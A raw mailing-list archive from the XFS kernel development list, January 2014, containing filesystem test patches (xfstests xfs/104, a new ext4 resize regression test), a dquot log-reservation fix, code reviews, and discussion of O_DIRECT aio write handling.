ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 20 Jan 2014 16:52:43 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1W58Fs-0004Kr-NC for xfs@oss.sgi.com; Mon, 20 Jan 2014 17:22:40 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1W58Fs-0004UJ-MJ for xfs@oss.sgi.com; Mon, 20 Jan 2014 17:22:40 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 6/7] xfs/104: use fixed log size Date: Mon, 20 Jan 2014 17:22:36 +1100 X-ASG-Orig-Subj: [PATCH 6/7] xfs/104: use fixed log size Message-Id: <1390198957-17184-7-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1390198957-17184-1-git-send-email-david@fromorbit.com> References: <1390198957-17184-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390198965 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144273 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner In changing the default log sizes in mkfs, the freespace calculations in xfs/104 are no longer valid and so it fails with ENOSPC before running any of the growfs tests. Make the test use a fixed log size of 5MB so that freespace calculations remain valid and the test passes regardless of whether we have a new or old mkfs binary. Signed-off-by: Dave Chinner --- tests/xfs/104 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/xfs/104 b/tests/xfs/104 index d31cf16..e899aca 100755 --- a/tests/xfs/104 +++ b/tests/xfs/104 @@ -84,7 +84,7 @@ nags=4 size=`expr 120 \* 1048576` # 120 megabytes initially sizeb=`expr $size / $dbsize` # in data blocks echo "*** creating scratch filesystem" -_create_scratch -dsize=${size} -dagcount=${nags} +_create_scratch -lsize=5m -dsize=${size} -dagcount=${nags} fillsize=`expr 110 \* 1048576` # 110 megabytes of filling echo "*** using some initial space on scratch filesystem" -- 1.8.4.rc3 From eguan@redhat.com Mon Jan 20 01:10:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9BB207F62 for ; Mon, 20 Jan 2014 01:10:01 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8DEE68F8054 for ; Sun, 19 Jan 2014 23:09:58 -0800 (PST) X-ASG-Debug-ID: 1390201797-04cb6c537bedd320001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id KmHparsD8XJBbG81 for ; Sun, 19 Jan 2014 23:09:57 -0800 (PST) X-Barracuda-Envelope-From: eguan@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0K79uBv021071 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 20 Jan 2014 02:09:56 -0500 Received: from localhost (dhcp-13-105.nay.redhat.com [10.66.13.105]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s0K79r0e000840; Mon, 20 Jan 2014 02:09:55 -0500 From: Eryu Guan To: xfs@oss.sgi.com Cc: Eric Sandeen , Eryu Guan Subject: [PATCH RESEND] ext4: regression test for ext4 resize with non-extent files Date: Mon, 20 Jan 2014 15:09:27 +0800 X-ASG-Orig-Subj: [PATCH RESEND] ext4: regression test for ext4 resize with non-extent files Message-Id: <1390201767-5352-1-git-send-email-eguan@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390201797 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Eric Sandeen From: Eric Sandeen Regression test for: c5c72d8 ext4: fix online resizing for ext3-compat file systems Signed-off-by: Eric Sandeen Signed-off-by: Eryu Guan --- This test was originally written by Eric and didn't get merged. I did minor update and resent. v2: s/dangerous/auto/ v3: remove "Silence is golden" output since it's not silent v4: rebase on top of master tests/ext4/306 | 82 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/ext4/306.out | 13 +++++++++ tests/ext4/group | 1 + 3 files changed, 96 insertions(+) create mode 100755 tests/ext4/306 create mode 100644 tests/ext4/306.out diff --git a/tests/ext4/306 b/tests/ext4/306 new file mode 100755 index 0000000..398c4c0 --- /dev/null +++ b/tests/ext4/306 @@ -0,0 +1,82 @@ +#! /bin/bash +# FS QA Test No. ext4/306 +# +# Test that blocks are available to non-extent files after a resize2fs +# Regression test for commit: +# c5c72d8 ext4: fix online resizing for ext3-compat file systems +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 Red Hat, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +PIDS="" +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + _scratch_unmount +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs ext4 +_supported_os Linux + +_require_scratch + +# This needs to mount ext3; might require ext3 driver, or ext4 +# might handle it itself. Find out if we have it one way or another. +modprobe ext3 > /dev/null 2>&1 +grep -q ext3 /proc/filesystems || _notrun "This test requires ext3 support" + +rm -f $seqres.full + +# Make a small ext3 fs, (extents disabled) & mount it +yes | mkfs.ext3 $SCRATCH_DEV 512m >> $seqres.full 2>&1 +_scratch_mount -t ext3 || _fail "couldn't mount fs as ext3" +# Create a small non-extent-based file +echo "Create 1m testfile1" +$XFS_IO_PROG -f $SCRATCH_MNT/testfile1 -c "pwrite 0 1m" | _filter_xfs_io +echo "Create testfile2 to fill the fs" +# A large non-extent-based file filling the fs; this will run out & fail +$XFS_IO_PROG -f $SCRATCH_MNT/testfile2 -c "pwrite 0 512m" | _filter_xfs_io + +# Remount as ext4 +_scratch_unmount +_scratch_mount -t ext4 || _fail "couldn't remount fs as ext4" +df -h $SCRATCH_MNT >> $seqres.full + +# Grow it by 512m +echo "Resize to 1g" +resize2fs $SCRATCH_DEV 1g >> $seqres.full 2>&1 || _fail "Could not resize to 1g" +df -h $SCRATCH_MNT >> $seqres.full + +# See if we can add more blocks to the files +echo "append 2m to testfile1" +$XFS_IO_PROG -f $SCRATCH_MNT/testfile1 -c "pwrite 1m 2m" | _filter_xfs_io +echo "append 2m to testfile2" +$XFS_IO_PROG -f $SCRATCH_MNT/testfile1 -c "pwrite 512m 2m" | _filter_xfs_io + +status=0 +exit diff --git a/tests/ext4/306.out b/tests/ext4/306.out new file mode 100644 index 0000000..ee6c90c --- /dev/null +++ b/tests/ext4/306.out @@ -0,0 +1,13 @@ +QA output created by 306 +Create 1m testfile1 +wrote 1048576/1048576 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +Create testfile2 to fill the fs +pwrite64: No space left on device +Resize to 1g +append 2m to testfile1 +wrote 2097152/2097152 bytes at offset 1048576 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +append 2m to testfile2 +wrote 2097152/2097152 bytes at offset 536870912 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) diff --git a/tests/ext4/group b/tests/ext4/group index 53af708..7e1a68b 100644 --- a/tests/ext4/group +++ b/tests/ext4/group @@ -9,3 +9,4 @@ 303 aio dangerous ioctl rw stress 304 aio dangerous ioctl rw stress 305 auto +306 auto rw resize quick -- 1.8.4.2 From bfoster@redhat.com Mon Jan 20 07:54:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 06F877F37 for ; Mon, 20 Jan 2014 07:54:15 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id CC5738F806F for ; Mon, 20 Jan 2014 05:54:11 -0800 (PST) X-ASG-Debug-ID: 1390226050-04bdf00fe0819f90001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id aKsNcJ2BEt0SAIzv for ; Mon, 20 Jan 2014 05:54:10 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0KDs9sw018242 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 20 Jan 2014 08:54:09 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0KDs8Ku017087; Mon, 20 Jan 2014 08:54:08 -0500 Message-ID: <52DD2A7F.801@redhat.com> Date: Mon, 20 Jan 2014 08:54:07 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Jeff Liu , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: use tr_qm_dqalloc log reservation for dquot alloc References: <1389981723-54311-1-git-send-email-bfoster@redhat.com> <52DA8D09.4000408@oracle.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: use tr_qm_dqalloc log reservation for dquot alloc In-Reply-To: <52DA8D09.4000408@oracle.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390226050 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/18/2014 09:17 AM, Jeff Liu wrote: > On 01/18 2014 02:02 AM, Brian Foster wrote: >> The dquot allocation path in xfs_qm_dqread() currently uses the >> attribute set log reservation, which appears to be incorrect. We >> have reports of transaction reservation overruns with the current >> code. E.g., a repeated run of xfstests test generic/270 on a 512b >> block size fs occassionally produces the following in dmesg: >> >> XFS (sdN): xlog_write: reservation summary: >> trans type = QM_DQALLOC (30) >> unit res = 7080 bytes >> current res = -632 bytes >> total reg = 0 bytes (o/flow = 0 bytes) >> ophdrs = 0 (ophdr space = 0 bytes) >> ophdr + reg = 0 bytes >> num regions = 0 >> >> XFS (sdN): xlog_write: reservation ran out. Need to up reservation >> >> The dquot allocation case should consist of a write reservation >> (i.e., we are allocating a range of the internal quota file) plus >> the size of the actual dquots. We already have a log reservation >> definition for this operation (tr_qm_dqalloc). Use it in >> xfs_qm_dqread() and update the log reservation calculation function >> to use the write res. calculation function rather than reading the >> assumed to be pre-calculated value directly. >> >> Signed-off-by: Brian Foster >> --- >> Hi all, >> >> This issue was reported here: >> >> https://bugzilla.redhat.com/show_bug.cgi?id=1052787 >> >> ... and the patch seems to address the reservation overrun from my testing. >> It also runs through an xfstests regression. Thanks. >> >> Brian >> >> fs/xfs/xfs_dquot.c | 2 +- >> fs/xfs/xfs_trans_resv.c | 3 +-- >> 2 files changed, 2 insertions(+), 3 deletions(-) >> >> diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c >> index 6b1e695..06280c6 100644 >> --- a/fs/xfs/xfs_dquot.c >> +++ b/fs/xfs/xfs_dquot.c >> @@ -614,7 +614,7 @@ xfs_qm_dqread( >> >> if (flags & XFS_QMOPT_DQALLOC) { >> tp = xfs_trans_alloc(mp, XFS_TRANS_QM_DQALLOC); >> - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_attrsetm, >> + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_qm_dqalloc, >> XFS_QM_DQALLOC_SPACE_RES(mp), 0); > > Ah, another issue I introduced for refactoring xfs_trans_reserve() interface. >> if (error) >> goto error1; >> diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c >> index 2fd59c0..60b7d40 100644 >> --- a/fs/xfs/xfs_trans_resv.c >> +++ b/fs/xfs/xfs_trans_resv.c >> @@ -651,8 +651,7 @@ STATIC uint >> xfs_calc_qm_dqalloc_reservation( >> struct xfs_mount *mp) >> { >> - ASSERT(M_RES(mp)->tr_write.tr_logres); >> - return M_RES(mp)->tr_write.tr_logres + >> + return xfs_calc_write_reservation(mp) + >> xfs_calc_buf_res(1, >> XFS_FSB_TO_B(mp, XFS_DQUOT_CLUSTER_SIZE_FSB) - 1); >> } > > I'm fine to call xfs_calc_write_reservation() rather than the current hard-code, > especially we can get rid of the ASSERT() though tr_write.tr_logres should not > be zero as it is initialized in advance at xfs_trans_resv_calc(). > Right... I just decided to call the write calc size function because that seems to be the standard operating procedure with the new code and it eliminates the fact that this is subject to initialization order, even if not a bug at the moment. :) > Just a little nit pick :), that would be better to consolidate the comments in > this fix as well, i.e, > * the write transaction log space: M_RES(mp)->tr_write.tr_logres. > Ok, I'll send a new patch that cleans up the comment. Thanks for review. Brian > > Thanks, > -Jeff > From BATV+074a300112f7837756c2+3802+infradead.org+hch@bombadil.srs.infradead.org Mon Jan 20 07:55:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8F4D57F37 for ; Mon, 20 Jan 2014 07:55:27 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6F4AB8F8071 for ; Mon, 20 Jan 2014 05:55:27 -0800 (PST) X-ASG-Debug-ID: 1390226126-04bdf0568e3d8040001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id DUC6eoZ5FzZiJ9PV (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 20 Jan 2014 05:55:26 -0800 (PST) X-Barracuda-Envelope-From: BATV+074a300112f7837756c2+3802+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1W5FJq-0006oR-Ta; Mon, 20 Jan 2014 13:55:14 +0000 Date: Mon, 20 Jan 2014 05:55:14 -0800 From: Christoph Hellwig To: Al Viro Cc: Linus Torvalds , Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Dave Kleikamp Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140120135514.GA21567@infradead.org> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140113141416.GA30117@infradead.org> <20140113235646.GR10323@ZenIV.linux.org.uk> <20140114132207.GA25170@infradead.org> <20140114172033.GU10323@ZenIV.linux.org.uk> <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140119051335.GN10323@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1390226126 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.10 X-Barracuda-Spam-Status: No, SCORE=2.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144283 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 2.00 BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL Custom Rule HREF_FROM_MISMATCH_TEXT_URIx1_HL On Sun, Jan 19, 2014 at 05:13:35AM +0000, Al Viro wrote: > Folks, what do you think about the following: That's very much what Shaggy did in the aio-direct tree, except that it kept using a single set of methods. Linus really didn't like it unfortunately. https://github.com/kleikamp/linux-shaggy/commits/aio_loop From BATV+074a300112f7837756c2+3802+infradead.org+hch@bombadil.srs.infradead.org Mon Jan 20 07:59:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1FAD17F37 for ; Mon, 20 Jan 2014 07:59:01 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id E5A34304051 for ; Mon, 20 Jan 2014 05:58:57 -0800 (PST) X-ASG-Debug-ID: 1390226337-04bdf00fe081a510001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id guSqV1TWMmSzluTE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 20 Jan 2014 05:58:57 -0800 (PST) X-Barracuda-Envelope-From: BATV+074a300112f7837756c2+3802+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1W5FNP-0006qg-5q; Mon, 20 Jan 2014 13:58:55 +0000 Date: Mon, 20 Jan 2014 05:58:55 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Sergey Meirovich , Christoph Hellwig , xfs@oss.sgi.com, Jan Kara , linux-scsi , Linux Kernel Mailing List , Gluk Subject: Re: Terrible performance of sequential O_DIRECT 4k writes in SAN environment. ~3 times slower then Solars 10 with the same HBA/Storage. Message-ID: <20140120135855.GA26280@infradead.org> X-ASG-Orig-Subj: Re: Terrible performance of sequential O_DIRECT 4k writes in SAN environment. ~3 times slower then Solars 10 with the same HBA/Storage. References: <20140106201032.GA13491@quack.suse.cz> <20140107155830.GA28395@infradead.org> <20140108140307.GA588@infradead.org> <20140115220721.GY3469@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140115220721.GY3469@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1390226337 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144283 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Thu, Jan 16, 2014 at 09:07:21AM +1100, Dave Chinner wrote: > Yes, I think it can be done relatively simply. We'd have to change > the code in xfs_file_aio_write_checks() to check whether EOF zeroing > was required rather than always taking an exclusive lock (for block > aligned IO at EOF sub-block zeroing isn't required), That's not even required for supporting aio appends, just a further optimization for it. > and then we'd > have to modify the direct IO code to set the is_async flag > appropriately. We'd probably need a new flag to say tell the DIO > code that AIO beyond EOF is OK, but that isn't hard to do.... Yep, need a flag to allow appending writes and then defer them. > Christoph, are you going to get any time to look at doing this in > the next few days? I'll probably need at least another week before I can get to it. If you wanna pick it up before than feel free. From bfoster@redhat.com Mon Jan 20 08:21:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 74F017F37 for ; Mon, 20 Jan 2014 08:21:14 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4800B304053 for ; Mon, 20 Jan 2014 06:21:11 -0800 (PST) X-ASG-Debug-ID: 1390227670-04bdf0568e3d97c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 3PP3uQ9w0aGG6tmD for ; Mon, 20 Jan 2014 06:21:10 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0KEL9J8001315 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 20 Jan 2014 09:21:09 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0KEL8L5019770 for ; Mon, 20 Jan 2014 09:21:09 -0500 Message-ID: <52DD30D3.9000806@redhat.com> Date: Mon, 20 Jan 2014 09:21:07 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: clean up xfs_buftarg References: <52D6CC91.6000408@redhat.com> <52D9910C.9000205@sandeen.net> <52D99158.8070108@sandeen.net> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: clean up xfs_buftarg In-Reply-To: <52D99158.8070108@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390227670 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/17/2014 03:23 PM, Eric Sandeen wrote: > Clean up the xfs_buftarg structure a bit: > - remove bt_bsize, which is never used > - replace bt_sshift with bt_ssize; we only ever shift it back > to a size anyway > > Signed-off-by: Eric Sandeen > --- Reviewed-by: Brian Foster > > diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c > index 9fccfb5..b664bce 100644 > --- a/fs/xfs/xfs_buf.c > +++ b/fs/xfs/xfs_buf.c > @@ -445,7 +445,7 @@ _xfs_buf_find( > numbytes = BBTOB(numblks); > > /* Check for IOs smaller than the sector size / not sector aligned */ > - ASSERT(!(numbytes < (1 << btp->bt_sshift))); > + ASSERT(!(numbytes < btp->bt_ssize)); > ASSERT(!(BBTOB(blkno) & (xfs_off_t)btp->bt_smask)); > > /* > @@ -1599,8 +1599,7 @@ xfs_setsize_buftarg( > unsigned int blocksize, > unsigned int sectorsize) > { > - btp->bt_bsize = blocksize; > - btp->bt_sshift = ffs(sectorsize) - 1; > + btp->bt_ssize = sectorsize; > btp->bt_smask = sectorsize - 1; > > if (set_blocksize(btp->bt_bdev, sectorsize)) { > diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h > index 1cf21a4..4ef949a 100644 > --- a/fs/xfs/xfs_buf.h > +++ b/fs/xfs/xfs_buf.h > @@ -93,8 +93,7 @@ typedef struct xfs_buftarg { > struct block_device *bt_bdev; > struct backing_dev_info *bt_bdi; > struct xfs_mount *bt_mount; > - unsigned int bt_bsize; > - unsigned int bt_sshift; > + unsigned int bt_ssize; > size_t bt_smask; > > /* LRU control structures */ > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > index 33ad9a7..39c38ee 100644 > --- a/fs/xfs/xfs_ioctl.c > +++ b/fs/xfs/xfs_ioctl.c > @@ -1587,7 +1587,7 @@ xfs_file_ioctl( > XFS_IS_REALTIME_INODE(ip) ? > mp->m_rtdev_targp : mp->m_ddev_targp; > > - da.d_mem = da.d_miniosz = 1 << target->bt_sshift; > + da.d_mem = da.d_miniosz = target->bt_ssize; > da.d_maxiosz = INT_MAX & ~(da.d_miniosz - 1); > > if (copy_to_user(arg, &da, sizeof(da))) > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From bfoster@redhat.com Mon Jan 20 08:21:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 86E957F52 for ; Mon, 20 Jan 2014 08:21:25 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 77F87304053 for ; Mon, 20 Jan 2014 06:21:25 -0800 (PST) X-ASG-Debug-ID: 1390227684-04cbb04167f06b10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id u7OlqFca4YsvcgGN for ; Mon, 20 Jan 2014 06:21:24 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0KELOW4029843 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 20 Jan 2014 09:21:24 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0KELNIh020006 for ; Mon, 20 Jan 2014 09:21:23 -0500 Message-ID: <52DD30E2.1060400@redhat.com> Date: Mon, 20 Jan 2014 09:21:22 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: [PATCH 2/3 V2] xfs: rename xfs_buftarg structure members References: <52D6CC91.6000408@redhat.com> <52D9910C.9000205@sandeen.net> <52D991E5.1010300@sandeen.net> <52D99D29.4020400@sandeen.net> X-ASG-Orig-Subj: Re: 